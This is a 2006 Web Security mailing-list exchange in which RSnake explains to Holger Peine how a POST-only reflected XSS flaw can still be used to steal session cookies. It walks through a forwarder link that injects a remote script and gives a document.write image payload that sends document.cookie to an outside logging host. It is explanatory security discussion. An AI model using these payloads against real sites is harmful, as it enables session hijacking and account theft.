Hi, Holger, I think you missed one small detail. The website that the
attacker controls doesn't stop at sending the user to an XSS'd page.
That XSS'd page on the victim's site then turns around and posts a
cookie back to the attacker's domain. Here's the sequence:
Bad guy send user a link to something like:
http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=http://vulnerable.com/&stuff=<script%20src=http://ha.ckers.org/xss.js></script>
That then (would normally) automatically post the user to to
vulnerable.com
Vulnerable.com would include http://ha.ckers.org/xss.js which has access
to the cookie since it's on the same webpage.
Although xss.js is actually benign it would then (normally) post that
cookie in an image to something like:
document.write("<IMG SRC='http://ha.ckers.org/log.cgi?"+document.cookie+";'>");
Now ha.ckers.org has vulnerable.com's cookies, regardless of the fact
that the "stuff" variable on vulnerable.com could only be accessed via a
form POST. Clear as mud?
-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
On Mon, 18 Dec 2006, Holger.Peine@iese.fraunhofer.de wrote:
Hello everyone,
there was a discussion on webappsec about one year ago whether GET
is in any substantial way more dangerous than POST; leaving aside
issues like leaving traces in logs etc., in the particular context
of reflected XSS (e.g. sending the victim a link containing XSS attack
code)
consensus seemed to be that an XSS-vulnerable page amounts to pretty
much
the same threat no matter whether being accessible via GET or POST, the
reasoning being this:
If the XSS-prone parameter in the application can only be accessed via
POST (e.g. a form parameter), then the attacker, while not being able to
send the victim a link that directly POSTs the XSS code to that
parameter,
would send a link that GETs an attacker page instead, and that page in
turn would
perform (by means of a small form that is automatically submitted) the
POST to the vulnerable parameter on the target application.
While the above is correct, I feel that it misses the point of many XSS
attacks, and that is stealing the session cookie: The whole point of XSS
is that the victim will execute the attack code in the context of the
vulnerable web site (since only then will the code be able to access the
session cookie with that web site). If the "poisoned" link sends the
victim
to an attacker page, the session cookie with the target site will not
be sent along.
So, is session hijacking in the form of stealing the victim's session
cookie
by means of sending them a link containing Javascript only possible if
the
XSS vulnerability on the target site is accessible via GET - or did I
miss
something here after all?
Thanks in advance for your opinion,
Holger Peine
--
Dr. Holger Peine, Security and Safety
Fraunhofer IESE, Fraunhofer-Platz 1, 67663 Kaiserslautern, Germany
Phone +49-631-6800-2134, Fax -1899 (shared)
PGP key via http://pgp.mit.edu ; fingerprint is 1BFA 30CB E3ED BA99 E7AE
2BBB C126 A592 48EA F9F8
----------------------------------------------------------------------------
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
-------------------------------------------------------------------------
Sponsored by: Watchfire
Today's hackers exploit web applications to expose, embarrass and even
steal. Firewalls and SSL may be commonplace but recent studies indicate 3
out of 4 websites remain vulnerable to attack. Watchfire's "Addressing
Challenges in Application Security" whitepaper, explains what to do and
provides a guideline to improving your own application security.
Download this whitepaper today!
https://www.watchfire.com/securearea/whitepapers.aspx?id=701500000008YTU
--------------------------------------------------------------------------
